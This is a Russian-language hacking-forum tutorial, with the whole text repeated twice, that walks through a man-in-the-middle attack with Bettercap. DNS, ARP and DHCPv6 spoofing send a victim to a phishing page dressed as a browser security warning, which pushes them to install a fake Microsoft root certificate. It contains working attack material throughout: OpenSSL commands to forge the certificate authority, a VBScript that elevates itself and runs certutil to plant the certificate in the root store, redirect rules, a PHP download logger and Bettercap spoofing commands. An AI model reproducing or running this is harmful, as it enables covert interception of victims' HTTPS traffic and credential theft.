centr
19.05.2019, 22:21
Содержание
Предисловие
Краткое описание
Подготовка
Создание само-подписанного сертификата
Создание фишинговой HTML страницы
Проведение атаки
Итог проведённой атаки
Анонс
Предисловие
В ходе цикла статей по Bettercap 2.*, решил выпустить "сезон подробных примеров" применения техник проведения атак использую фрэймворк Bettercap.
В этом "сезоне подробных статей" из цикла bettercap 2, будет подробно описаны примеры продуктивных атак, начиная с концепции и заканчивая проведением атаки в WiFi сетях.Подобные статьи описываются поверхностно и содержат только теоретическое содержание с минимальными инструкциями которые будут пригодными для практического применения. Эти статьи будут расписаны самым подробным образом и будут содержать подробные инструкции пригодные для практического применения в текущих реалиях.
Начнём с самого опасного и самого продуктивного примера проведения фишинговой атаки, которая будет внедрять само-подписанный SSL сертификат. Положительный результат проведённой атаки будет сказываться на остальных примерах атак.
DNS&ARP Spoofing - Внедрение само-подписанного сертификата.
Краткое описание проведения атаки.
Техника "DNS spoofing" используется для подмены IP адреса привязанного к доменному имени, подменив который заставляют посетить необходимый сервер.Подмена используется для того что бы атакуемая цель получила полезную нагрузку, либо для того что бы спровоцировать атакуемую цель на передачу ключей авторизации или другой необходимой информации в руки атакующего.
Техника "ARP spoofing" используется для подмены MAC адреса который привязан к необходимому IP адресу. Таким образом заставляют отправлять сетевые пакеты по необходимому маршруту. Для того что бы атаковать целенаправленно используют технику "ARP spoofing" с указанием IP адреса атакуемого.
Атака "DNS&ARP Spoofing - Install rogue certificate." использует две эти техники таким образом, что бы заставить атакуемую цель скачать само-подписанные сертификаты и установить эти сертификаты в внутренние хранилище сертификатов на атакуемой машине.
Атакующий поднимает HTTP сервер, на котором размещается страница с провоцирующим на установку само-подписанных сертификатов сообщением и ссылками для скачивания сертификатов.
Сообщение обязано быть в первую очередь правдоподобным и не вызывать каких либо сомнений у пользователя под управлением которого атакуемая машина.
После того как поддельные сертификаты будут установлены на атакуемом хосте, атакующий использует сертификаты для прослушивания сетевого трафика, а так же управлением этого трафика.
Установка сертификатов на атакуемом хосте, открывают HTTPS трафик для открытого просмотра и трафик читается так как читается трафик HTTP.
Подготовка
Создание само-подписанного сертификата
Для создания само-подписанного SSL сертификата будет использоваться криптографическая библиотека OpenSSL (скачать можно здесь или с GitHub, для Windows здесь ).
Действия будут проводится в ОС Windows, но в других ОС порядок действий будет таким же и ни чем отличаться не будет.
Первое - сертификат должен правдоподобно выглядеть и содержать названия и имена компании на которую будет опираться предлог установки сертификатов. То есть сертификат будет поддельным и похож на легитимный сертификат официально зарегистрированной компании.
Так как в качестве атакуемой цели будет хост на борту которого установлена ОС Windows, то и сертификат будет подделываться под компанию Microsoft. Для MacOS сертификат соответственно будет подделываться под компанию Aplle, а вот под Unix подобную ОС, придётся подбирать в зависимости установленного дистрибутива или броузера в котором происходит сёрфинг по просторам сети интернет.
Идём на официальный сайт Microsoft "Microsoft – официальная страница" и копируем содержание сертификата, поле "издатель":
https://forum.antichat.xyz/attachments/4844264/img_7e8efc12e8.png
Теперь используя OpenSSL создаём поддельный центр сертификации в котором поля будут содержать текст аналогичный microsoft.
Создаём приватный ключ, файл "prive.key":
Код:
openssl genrsa -out prive.key 4096
Теперь генерируем сертификат, вариант заполнять поля в режиме консоли:
Код:
openssl req -new -x509 -days 365 -key prive.key -out ca.pem
https://forum.antichat.xyz/attachments/4844264/img_8705d08e3b.png
Либо создать файл конфигурации "cfg" (или другим именем) который будет содержать в себе следующее:
Код:
[ req ]
default_bits = 2048
default_keyfile = prive.key
distinguished_name = req_distinguished_name
prompt = no
[ req_distinguished_name ]
CN=US
ST=Washington
L=Redmond
O=Microsoft Corporation
OU=Microsoft IT
CN=Microsoft IT TLS CA 4
Содержимое файла конфигурации изменяется в зависимости компании на которую будет подделываться сертификат и желаемой правдоподобности подделанного сертификата.
И обратимся к OpenSSL с следующей командой:
Код:
openssl req -new -x509 -days 365 -config cfg -key prive.key -out ca.pem
Сертификат с приватным ключом создан.Полученные файлы будут использоваться в Bettercap, файл "ca.pem" будет задействован в vbs скрипте для автоматической установки в хранилище сертификатов на атакуемой машине.
Для установке на атакуемом хосте двойным нажатием правой кнопки мыши конвертируем из "pem" в "crt" следующей командой:
Код:
openssl x509 -outform der -in ca.pem -out ca.crt
Создание фишинговой HTML страницы
Возможно создание страницы с содержащей текст ошибки или уведомления об какой либо ошибки безопасности, главное что бы содержание страницы не вызвало ни какого подозрения и спровоцировало на установку предложенных сертификатов.
Как правдоподобный вариант в приведённом примере будет использоваться переделанная страница с предупреждением браузера Firefox : " Предупреждение: Вероятная угроза безопасности".
https://forum.antichat.xyz/attachments/4844264/img_c02ee6705b.png
Получаем исходный код такой страницы и редактируем подделывая под ошибку вызванную ОС или броузером, с содержащей в итоге сообщение в котором будет говорится о том, что установить сертификаты с ссылок это необходимость которая решит проблему безопасности.И без установки сертификатов дальнейший сёрфинг по сети интернет невозможен.
Страница используемая при ошибках или предупреждениях Google Chrome выглядит чище и вызывает большее доверие, поэтому решил редактировать и адаптировать под нужды страницу Chrome.
https://forum.antichat.xyz/attachments/4844264/img_05742ac80d.png
Возможно копирование страницы, возможно будет принято другое решение и создадите другую страницу которая будет правдоподобней, но выбор пал на страницу Chrome. Не много подправив, получаем вот такую страницу:
https://forum.antichat.xyz/attachments/4844264/img_da6f87055d.png
Для автоматической установки сертификата на атакуемый хост будет использоваться простейший vbs скрипт:
Код:
Dim str
str = "-----BEGIN CERTIFICATE-----MIIFgzCCA2sCFG2WNJLchKu9Rr0/HjscNBl9E0u+MA0GCSqGSIb3DQEBCwUAMH4xEzARBgNVBAgMCl dhc2hpbmd0b24xEDAOBgNVBAcMB1JlZG1vbmQxHjAcBgNVBAoM FU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECwwMTWljcm 9zb2Z0IElUMR4wHAYDVQQDDBVNaWNyb3NvZnQgSVQgVExTIENB IDQwHhcNMTkwNTE4MTYyODUwWhcNMjAwNTE3MTYyODUwWjB+MR MwEQYDVQQIDApXYXNoaW5ndG9uMRAwDgYDVQQHDAdSZWRtb25k MR4wHAYDVQQKDBVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBg NVBAsMDE1pY3Jvc29mdCBJVDEeMBwGA1UEAwwVTWljcm9zb2Z0 IElUIFRMUyBDQSA0MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMI ICCgKCAgEAwe2T/4cYlCPrc47l/ksv2dA4VQYEJ6zcSIO86me09YMiDRfCE2d/zK6w7mDCOPbedlcoOXeMegrG3qNPXHIIAg1669KQTuaHEYqKkE nh20EMEbRwQIV2+dmfftfErPkV9LNft1/SNdTEzAkcEO9Youg/2QmD3sUWdFOOF0nHLv8S3NpVCSmAAbuQw6l54YfgNNLng0cRcd apFjOVW7B6KXQQpEE/JC8Vj6Mt3LZHkE8KirpL7q6QO5Bis7GQCkqtNbedjAN7hu2Xsz uTxwT7fvGP6nYQMR5qFxoq0YuAMAYHB9iFCuZe6WLo6RcE50KI C096Adbkt/iJwoWphQGjTzQPo7tYjcUA2JuBRL6YyTQv8Nne/fHl40FZybKziYzx4CyuVvyYLEqkfPKMT84WrnKcKhzbw7yfgna csmR7hmVCBms9HsYA/8APqU/MgtYR3ppO5/PeitUpe7JLF1/Cs1MPmyI84UnYwR2r2Q3EH5mH+aVKJKUtEDihhaXRztvhx5xTH d4zPEiTT0FUZFDnfeQxlPsgSCG/iPFKEhW0nFBU0Plhmlep4QqW+AJnX6QGV9rn67adM/k0c0T6lQ/AFfR+ps5pYh5QUP4nnwy9OZ2kxIeHinFA1CzRZM4V27+QF20ZF c3Je2e/tXqJ3CGhA2azsAcHHFfCLT91qzghbb8CAwEAATANBgkqhkiG9w 0BAQsFAAOCAgEAixpRvb8Unh5pl2tikgBds7MSF3KLi2Jf8mhM TWYaaNZagFrlYhtSzHTIpV+jt60YVK/RKhO2kSzmas0wUTlenV2OINcK5inE/U4ZlSwAq6hJwOmrxZXPT9axFr168/+7k/4ByymICRT240EHjskjdmyjaEu0JMGMggMVN4pUqsXVSiJYmARJ QL9gB4/JFvi4s0E+RCAfFlkjaC1EvOQqcKYXE1OOAzzOUugD/yTAHJfvDeYhD0H6Sk/xGVTwiF21kNTRO9XP96cXPV6jS7Pn6XmH7qGZTbCsLK/okDOyv3/rBTh0vj8MdwuEq/aPahV7pC1dPtsqAHQ8UeOiA32VevyOLKalteFMlamH/gUjeuiShwAgc5rYO6o7s0u3Ien4g1n63dIyqVwF6LLESFDvPOZ C36y8m2ScOa40dcBPwuMOysmZGOHx/zXNEBZaDuMhWNPIXhtVaUJHCHe9c1f92d/jKa/FBEp80iMUkFvIkU/mn352d0LM38XIv9vxBq0p5QDFZ/s3P0VG3jDhBUS77PlPzE11DKny0XDL8f7h+o52d6btGF/mVGaDSOAXiDeT7oyoIYxLeL1TxYkQjQt9rEQSItoAbHSyKd8+O eilM3UFxoVq6x/55SkgIPPC3X3O8+Npi3CUmqKso1/bRu14KQwA+uZ0AF0gHXbLC+fCBtE=-----END CERTIFICATE-----"
Set objFSO=CreateObject("Scripting.FileSystemObject")
outFile="certificate_microsoft.crt"
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write str
objFile.Close
Set WshShell = WScript.CreateObject("WScript.Shell")
If WScript.Arguments.length = 0 Then
Set ObjShell = CreateObject("Shell.Application")
ObjShell.ShellExecute "wscript.exe", """" & _
WScript.ScriptFullName & """" &_
" RunAsAdministrator", , "runas", 1
End if
Dim objShell
Set objShell = WScript.CreateObject ("WScript.shell")
objShell.run "certutil -addstore -f AuthRoot certificate_microsoft.crt"
Set objShell = Nothing
Содержимое переменной "str" меняется на содержание файла созданного сертификата "ca.crt", для корректной работы скрипта переносы строк из файла сертификата удаляются.
Исходный код отредактированной страницы будет во вложение, так как исходный код содержит много символов.
Ещё один стратегический момент который будет обнаружен во время атаки, это ошибка сервера "404 File Not Found.".
Так как не известно с какого адреса будет переадресован атакуемый, создаётся свод правил в виде ".htaccess" файла:
Код:
RewriteEngine On
RewriteCond %{SCRIPT_FILENAME} !-d
RewriteCond %{SCRIPT_FILENAME} !-f
RewriteRule ^(.*)$ ./
Этот файл помещается в корневую директорию поддельного сайта где расположена созданная страница.Таким образом, с какой бы страницы не перебросило атакуемого, в адресной строке адрес не изменится и атакуемый не увидит ошибки "404 File Not Found.".
Для корректной загрузки файлов при нажатие на ссылки или кнопку, создадим "php" скрипт который будет отдавать необходимые файлы вместо того что бы показывать содержимое файлов.Создадим папку "cert" и поместим в эту папку скрипт с именем "index.php" и содержимым:
Код:
В папку "cert" поместим скрипт vbs с именем "certificate_install.vbs" и созданный сертификат, назовём "certificate_microsoft.crt", если имена совпадают, то возможно использование страницы которая будет во вложение.
Ещё один момент с HTTP сервером, так как "http.server" в bettercap не понимает правил и файлов htaccess, то использовать будет лучше Apache.
Проведение атаки
В качестве атакующей стороны будет хост с установленной ParrotOS, в которой установлен Bettercap, в качестве атакуемой стороны будет хост с установленной Windows 7, с Windows моложе 7 обязано работать так же.
Помещаем файлы фишинговой страницы в директорию сервера и запускаем apache:
Код:
sudo service apache2 start
Далее запускаем bettercap и используем следующие опции:
Код:
sudo bettercap
set dns.spoof.address 192.168.0.14
set dns.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set dhcp6.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set arp.spoof.targets 192.168.0.13
set dns.spoof.address 192.168.0.14 - Указываем IP адрес который будет подставляться, адрес атакующего сервера.
set dns.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip,*.р ф - Здесь указываем домены с которых будет перебрасывать на сервер атакующего, возможно указать конкретный адрес, но лучше указать домены первого уровня.
set dhcp6.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip,*.р ф - Аналогично опции dns.spoof.domains.
set arp.spoof.targets 192.168.0.13 - Указываем IP адрес атакуемого хоста.
Теперь запускаем "модули":
Код:
dns.spoof on
dhcp6.spoof on
arp.ban on
dns.spoof on - Включаем DNS spoofing который будет отправлять IP атакующего сервера на запросы атакуемого хоста.
dhcp6.spoof on - Аналогично, но касается адресов IP6.
arp.ban on - Включаем глушение сети относительно атакуемого хоста.
Как результат с использованием защищённого соединения HTTPS на атакуемом хосте броузер будет выводить подобные сообщения:
https://forum.antichat.xyz/attachments/4844264/img_b0e9983ff6.png
При нажатие на кнопку будет перекидывать на фишинговую страницу которую приготовил атакуемый:
https://forum.antichat.xyz/attachments/4844264/img_2b9d95ddd5.png
Такие сообщения выводит броузер Firefox, броузер Chrome будет выводить аналогичные сообщения и вести себя аналогично:
https://forum.antichat.xyz/attachments/4844264/img_6f75cdf361.png
https://forum.antichat.xyz/attachments/4844264/img_0b89c3c2c8.png
Что касается случаев с использованием незащищённого HTTP соединения на атакуемом хосте, то сообщение с просьбой подключения к сети будет игнорироваться и будет сразу выводится фишинговая страница не перебрасывая ни на какие адреса:
https://forum.antichat.xyz/attachments/4844264/img_1da0d2a5e0.png
Нажимая на кнопку сертификат свободно загружается:
https://forum.antichat.xyz/attachments/4844264/img_824bd7d1be.png
Для того что бы понять что сертификат скачен, добавим кусок кода в php скрипт :
Код:
$f=fopen("log.txt","a+");
fwrite($f,$_GET["dwn"]);
fclose($f);
Вставить этот кусок кода в конец скрипта , перед закрывающей скобкой "}".
Таким образом при скачивание сертификата или скрипта с сервера атакуемого, в директории "cert" будет создан файл "log.txt" и в котором будет указано имя файла который будет скачен.
Итог проведённой атаки
Как результат установленного сертификата на атакуемом хосте, атакующий используя этот сертификат в bettercap будет читать и управлять трафиком на атакуемом хосте при использование защищённого соединения HTTPS, так же как и при использование незащищённого HTTP.
https://forum.antichat.xyz/attachments/4844264/img_140883412f.png
https://forum.antichat.xyz/attachments/4844264/img_caf80d2a94.png
https://forum.antichat.xyz/attachments/4844264/img_d7c237aafe.png
Имея ключ сертификата возможна расшифровка перехваченного трафика, так же помимо внедрения кода JS, возможно фишинговое обновление для обновлений установленных программ и обновлений windows.
Анонс
Продолжим с техники внедрения JS кода в HTML код страниц, рассмотрим подробно пример внедрения скрипта фрэймворка Beef-xss, в ходе которого будет приведён простейший пример кода написанного на языке "Golang" для получение удалённого доступа. Так же будут приведены примеры простейшего JS кода, которые будут нести скорее шуточный характер.
Далее в сезоне будут описаны примеры внедрения HTML тэга "iframe", который будет альтернативным решением для перехвата ключей авторизации в условиях отключения JS скриптов.
Продолжение следует...
Предисловие
Краткое описание
Подготовка
Создание само-подписанного сертификата
Создание фишинговой HTML страницы
Проведение атаки
Итог проведённой атаки
Анонс
Предисловие
В ходе цикла статей по Bettercap 2.*, решил выпустить "сезон подробных примеров" применения техник проведения атак использую фрэймворк Bettercap.
В этом "сезоне подробных статей" из цикла bettercap 2, будет подробно описаны примеры продуктивных атак, начиная с концепции и заканчивая проведением атаки в WiFi сетях.Подобные статьи описываются поверхностно и содержат только теоретическое содержание с минимальными инструкциями которые будут пригодными для практического применения. Эти статьи будут расписаны самым подробным образом и будут содержать подробные инструкции пригодные для практического применения в текущих реалиях.
Начнём с самого опасного и самого продуктивного примера проведения фишинговой атаки, которая будет внедрять само-подписанный SSL сертификат. Положительный результат проведённой атаки будет сказываться на остальных примерах атак.
DNS&ARP Spoofing - Внедрение само-подписанного сертификата.
Краткое описание проведения атаки.
Техника "DNS spoofing" используется для подмены IP адреса привязанного к доменному имени, подменив который заставляют посетить необходимый сервер.Подмена используется для того что бы атакуемая цель получила полезную нагрузку, либо для того что бы спровоцировать атакуемую цель на передачу ключей авторизации или другой необходимой информации в руки атакующего.
Техника "ARP spoofing" используется для подмены MAC адреса который привязан к необходимому IP адресу. Таким образом заставляют отправлять сетевые пакеты по необходимому маршруту. Для того что бы атаковать целенаправленно используют технику "ARP spoofing" с указанием IP адреса атакуемого.
Атака "DNS&ARP Spoofing - Install rogue certificate." использует две эти техники таким образом, что бы заставить атакуемую цель скачать само-подписанные сертификаты и установить эти сертификаты в внутренние хранилище сертификатов на атакуемой машине.
Атакующий поднимает HTTP сервер, на котором размещается страница с провоцирующим на установку само-подписанных сертификатов сообщением и ссылками для скачивания сертификатов.
Сообщение обязано быть в первую очередь правдоподобным и не вызывать каких либо сомнений у пользователя под управлением которого атакуемая машина.
После того как поддельные сертификаты будут установлены на атакуемом хосте, атакующий использует сертификаты для прослушивания сетевого трафика, а так же управлением этого трафика.
Установка сертификатов на атакуемом хосте, открывают HTTPS трафик для открытого просмотра и трафик читается так как читается трафик HTTP.
Подготовка
Создание само-подписанного сертификата
Для создания само-подписанного SSL сертификата будет использоваться криптографическая библиотека OpenSSL (скачать можно здесь или с GitHub, для Windows здесь ).
Действия будут проводится в ОС Windows, но в других ОС порядок действий будет таким же и ни чем отличаться не будет.
Первое - сертификат должен правдоподобно выглядеть и содержать названия и имена компании на которую будет опираться предлог установки сертификатов. То есть сертификат будет поддельным и похож на легитимный сертификат официально зарегистрированной компании.
Так как в качестве атакуемой цели будет хост на борту которого установлена ОС Windows, то и сертификат будет подделываться под компанию Microsoft. Для MacOS сертификат соответственно будет подделываться под компанию Aplle, а вот под Unix подобную ОС, придётся подбирать в зависимости установленного дистрибутива или броузера в котором происходит сёрфинг по просторам сети интернет.
Идём на официальный сайт Microsoft "Microsoft – официальная страница" и копируем содержание сертификата, поле "издатель":
https://forum.antichat.xyz/attachments/4844264/img_7e8efc12e8.png
Теперь используя OpenSSL создаём поддельный центр сертификации в котором поля будут содержать текст аналогичный microsoft.
Создаём приватный ключ, файл "prive.key":
Код:
openssl genrsa -out prive.key 4096
Теперь генерируем сертификат, вариант заполнять поля в режиме консоли:
Код:
openssl req -new -x509 -days 365 -key prive.key -out ca.pem
https://forum.antichat.xyz/attachments/4844264/img_8705d08e3b.png
Либо создать файл конфигурации "cfg" (или другим именем) который будет содержать в себе следующее:
Код:
[ req ]
default_bits = 2048
default_keyfile = prive.key
distinguished_name = req_distinguished_name
prompt = no
[ req_distinguished_name ]
CN=US
ST=Washington
L=Redmond
O=Microsoft Corporation
OU=Microsoft IT
CN=Microsoft IT TLS CA 4
Содержимое файла конфигурации изменяется в зависимости компании на которую будет подделываться сертификат и желаемой правдоподобности подделанного сертификата.
И обратимся к OpenSSL с следующей командой:
Код:
openssl req -new -x509 -days 365 -config cfg -key prive.key -out ca.pem
Сертификат с приватным ключом создан.Полученные файлы будут использоваться в Bettercap, файл "ca.pem" будет задействован в vbs скрипте для автоматической установки в хранилище сертификатов на атакуемой машине.
Для установке на атакуемом хосте двойным нажатием правой кнопки мыши конвертируем из "pem" в "crt" следующей командой:
Код:
openssl x509 -outform der -in ca.pem -out ca.crt
Создание фишинговой HTML страницы
Возможно создание страницы с содержащей текст ошибки или уведомления об какой либо ошибки безопасности, главное что бы содержание страницы не вызвало ни какого подозрения и спровоцировало на установку предложенных сертификатов.
Как правдоподобный вариант в приведённом примере будет использоваться переделанная страница с предупреждением браузера Firefox : " Предупреждение: Вероятная угроза безопасности".
https://forum.antichat.xyz/attachments/4844264/img_c02ee6705b.png
Получаем исходный код такой страницы и редактируем подделывая под ошибку вызванную ОС или броузером, с содержащей в итоге сообщение в котором будет говорится о том, что установить сертификаты с ссылок это необходимость которая решит проблему безопасности.И без установки сертификатов дальнейший сёрфинг по сети интернет невозможен.
Страница используемая при ошибках или предупреждениях Google Chrome выглядит чище и вызывает большее доверие, поэтому решил редактировать и адаптировать под нужды страницу Chrome.
https://forum.antichat.xyz/attachments/4844264/img_05742ac80d.png
Возможно копирование страницы, возможно будет принято другое решение и создадите другую страницу которая будет правдоподобней, но выбор пал на страницу Chrome. Не много подправив, получаем вот такую страницу:
https://forum.antichat.xyz/attachments/4844264/img_da6f87055d.png
Для автоматической установки сертификата на атакуемый хост будет использоваться простейший vbs скрипт:
Код:
Dim str
str = "-----BEGIN CERTIFICATE-----MIIFgzCCA2sCFG2WNJLchKu9Rr0/HjscNBl9E0u+MA0GCSqGSIb3DQEBCwUAMH4xEzARBgNVBAgMCl dhc2hpbmd0b24xEDAOBgNVBAcMB1JlZG1vbmQxHjAcBgNVBAoM FU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECwwMTWljcm 9zb2Z0IElUMR4wHAYDVQQDDBVNaWNyb3NvZnQgSVQgVExTIENB IDQwHhcNMTkwNTE4MTYyODUwWhcNMjAwNTE3MTYyODUwWjB+MR MwEQYDVQQIDApXYXNoaW5ndG9uMRAwDgYDVQQHDAdSZWRtb25k MR4wHAYDVQQKDBVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBg NVBAsMDE1pY3Jvc29mdCBJVDEeMBwGA1UEAwwVTWljcm9zb2Z0 IElUIFRMUyBDQSA0MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMI ICCgKCAgEAwe2T/4cYlCPrc47l/ksv2dA4VQYEJ6zcSIO86me09YMiDRfCE2d/zK6w7mDCOPbedlcoOXeMegrG3qNPXHIIAg1669KQTuaHEYqKkE nh20EMEbRwQIV2+dmfftfErPkV9LNft1/SNdTEzAkcEO9Youg/2QmD3sUWdFOOF0nHLv8S3NpVCSmAAbuQw6l54YfgNNLng0cRcd apFjOVW7B6KXQQpEE/JC8Vj6Mt3LZHkE8KirpL7q6QO5Bis7GQCkqtNbedjAN7hu2Xsz uTxwT7fvGP6nYQMR5qFxoq0YuAMAYHB9iFCuZe6WLo6RcE50KI C096Adbkt/iJwoWphQGjTzQPo7tYjcUA2JuBRL6YyTQv8Nne/fHl40FZybKziYzx4CyuVvyYLEqkfPKMT84WrnKcKhzbw7yfgna csmR7hmVCBms9HsYA/8APqU/MgtYR3ppO5/PeitUpe7JLF1/Cs1MPmyI84UnYwR2r2Q3EH5mH+aVKJKUtEDihhaXRztvhx5xTH d4zPEiTT0FUZFDnfeQxlPsgSCG/iPFKEhW0nFBU0Plhmlep4QqW+AJnX6QGV9rn67adM/k0c0T6lQ/AFfR+ps5pYh5QUP4nnwy9OZ2kxIeHinFA1CzRZM4V27+QF20ZF c3Je2e/tXqJ3CGhA2azsAcHHFfCLT91qzghbb8CAwEAATANBgkqhkiG9w 0BAQsFAAOCAgEAixpRvb8Unh5pl2tikgBds7MSF3KLi2Jf8mhM TWYaaNZagFrlYhtSzHTIpV+jt60YVK/RKhO2kSzmas0wUTlenV2OINcK5inE/U4ZlSwAq6hJwOmrxZXPT9axFr168/+7k/4ByymICRT240EHjskjdmyjaEu0JMGMggMVN4pUqsXVSiJYmARJ QL9gB4/JFvi4s0E+RCAfFlkjaC1EvOQqcKYXE1OOAzzOUugD/yTAHJfvDeYhD0H6Sk/xGVTwiF21kNTRO9XP96cXPV6jS7Pn6XmH7qGZTbCsLK/okDOyv3/rBTh0vj8MdwuEq/aPahV7pC1dPtsqAHQ8UeOiA32VevyOLKalteFMlamH/gUjeuiShwAgc5rYO6o7s0u3Ien4g1n63dIyqVwF6LLESFDvPOZ C36y8m2ScOa40dcBPwuMOysmZGOHx/zXNEBZaDuMhWNPIXhtVaUJHCHe9c1f92d/jKa/FBEp80iMUkFvIkU/mn352d0LM38XIv9vxBq0p5QDFZ/s3P0VG3jDhBUS77PlPzE11DKny0XDL8f7h+o52d6btGF/mVGaDSOAXiDeT7oyoIYxLeL1TxYkQjQt9rEQSItoAbHSyKd8+O eilM3UFxoVq6x/55SkgIPPC3X3O8+Npi3CUmqKso1/bRu14KQwA+uZ0AF0gHXbLC+fCBtE=-----END CERTIFICATE-----"
Set objFSO=CreateObject("Scripting.FileSystemObject")
outFile="certificate_microsoft.crt"
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write str
objFile.Close
Set WshShell = WScript.CreateObject("WScript.Shell")
If WScript.Arguments.length = 0 Then
Set ObjShell = CreateObject("Shell.Application")
ObjShell.ShellExecute "wscript.exe", """" & _
WScript.ScriptFullName & """" &_
" RunAsAdministrator", , "runas", 1
End if
Dim objShell
Set objShell = WScript.CreateObject ("WScript.shell")
objShell.run "certutil -addstore -f AuthRoot certificate_microsoft.crt"
Set objShell = Nothing
Содержимое переменной "str" меняется на содержание файла созданного сертификата "ca.crt", для корректной работы скрипта переносы строк из файла сертификата удаляются.
Исходный код отредактированной страницы будет во вложение, так как исходный код содержит много символов.
Ещё один стратегический момент который будет обнаружен во время атаки, это ошибка сервера "404 File Not Found.".
Так как не известно с какого адреса будет переадресован атакуемый, создаётся свод правил в виде ".htaccess" файла:
Код:
RewriteEngine On
RewriteCond %{SCRIPT_FILENAME} !-d
RewriteCond %{SCRIPT_FILENAME} !-f
RewriteRule ^(.*)$ ./
Этот файл помещается в корневую директорию поддельного сайта где расположена созданная страница.Таким образом, с какой бы страницы не перебросило атакуемого, в адресной строке адрес не изменится и атакуемый не увидит ошибки "404 File Not Found.".
Для корректной загрузки файлов при нажатие на ссылки или кнопку, создадим "php" скрипт который будет отдавать необходимые файлы вместо того что бы показывать содержимое файлов.Создадим папку "cert" и поместим в эту папку скрипт с именем "index.php" и содержимым:
Код:
В папку "cert" поместим скрипт vbs с именем "certificate_install.vbs" и созданный сертификат, назовём "certificate_microsoft.crt", если имена совпадают, то возможно использование страницы которая будет во вложение.
Ещё один момент с HTTP сервером, так как "http.server" в bettercap не понимает правил и файлов htaccess, то использовать будет лучше Apache.
Проведение атаки
В качестве атакующей стороны будет хост с установленной ParrotOS, в которой установлен Bettercap, в качестве атакуемой стороны будет хост с установленной Windows 7, с Windows моложе 7 обязано работать так же.
Помещаем файлы фишинговой страницы в директорию сервера и запускаем apache:
Код:
sudo service apache2 start
Далее запускаем bettercap и используем следующие опции:
Код:
sudo bettercap
set dns.spoof.address 192.168.0.14
set dns.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set dhcp6.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip
set arp.spoof.targets 192.168.0.13
set dns.spoof.address 192.168.0.14 - Указываем IP адрес который будет подставляться, адрес атакующего сервера.
set dns.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip,*.р ф - Здесь указываем домены с которых будет перебрасывать на сервер атакующего, возможно указать конкретный адрес, но лучше указать домены первого уровня.
set dhcp6.spoof.domains *.net,*.com,*.ru,*.org,*.su,*.co,*.info,*.vip,*.р ф - Аналогично опции dns.spoof.domains.
set arp.spoof.targets 192.168.0.13 - Указываем IP адрес атакуемого хоста.
Теперь запускаем "модули":
Код:
dns.spoof on
dhcp6.spoof on
arp.ban on
dns.spoof on - Включаем DNS spoofing который будет отправлять IP атакующего сервера на запросы атакуемого хоста.
dhcp6.spoof on - Аналогично, но касается адресов IP6.
arp.ban on - Включаем глушение сети относительно атакуемого хоста.
Как результат с использованием защищённого соединения HTTPS на атакуемом хосте броузер будет выводить подобные сообщения:
https://forum.antichat.xyz/attachments/4844264/img_b0e9983ff6.png
При нажатие на кнопку будет перекидывать на фишинговую страницу которую приготовил атакуемый:
https://forum.antichat.xyz/attachments/4844264/img_2b9d95ddd5.png
Такие сообщения выводит броузер Firefox, броузер Chrome будет выводить аналогичные сообщения и вести себя аналогично:
https://forum.antichat.xyz/attachments/4844264/img_6f75cdf361.png
https://forum.antichat.xyz/attachments/4844264/img_0b89c3c2c8.png
Что касается случаев с использованием незащищённого HTTP соединения на атакуемом хосте, то сообщение с просьбой подключения к сети будет игнорироваться и будет сразу выводится фишинговая страница не перебрасывая ни на какие адреса:
https://forum.antichat.xyz/attachments/4844264/img_1da0d2a5e0.png
Нажимая на кнопку сертификат свободно загружается:
https://forum.antichat.xyz/attachments/4844264/img_824bd7d1be.png
Для того что бы понять что сертификат скачен, добавим кусок кода в php скрипт :
Код:
$f=fopen("log.txt","a+");
fwrite($f,$_GET["dwn"]);
fclose($f);
Вставить этот кусок кода в конец скрипта , перед закрывающей скобкой "}".
Таким образом при скачивание сертификата или скрипта с сервера атакуемого, в директории "cert" будет создан файл "log.txt" и в котором будет указано имя файла который будет скачен.
Итог проведённой атаки
Как результат установленного сертификата на атакуемом хосте, атакующий используя этот сертификат в bettercap будет читать и управлять трафиком на атакуемом хосте при использование защищённого соединения HTTPS, так же как и при использование незащищённого HTTP.
https://forum.antichat.xyz/attachments/4844264/img_140883412f.png
https://forum.antichat.xyz/attachments/4844264/img_caf80d2a94.png
https://forum.antichat.xyz/attachments/4844264/img_d7c237aafe.png
Имея ключ сертификата возможна расшифровка перехваченного трафика, так же помимо внедрения кода JS, возможно фишинговое обновление для обновлений установленных программ и обновлений windows.
Анонс
Продолжим с техники внедрения JS кода в HTML код страниц, рассмотрим подробно пример внедрения скрипта фрэймворка Beef-xss, в ходе которого будет приведён простейший пример кода написанного на языке "Golang" для получение удалённого доступа. Так же будут приведены примеры простейшего JS кода, которые будут нести скорее шуточный характер.
Далее в сезоне будут описаны примеры внедрения HTML тэга "iframe", который будет альтернативным решением для перехвата ключей авторизации в условиях отключения JS скриптов.
Продолжение следует...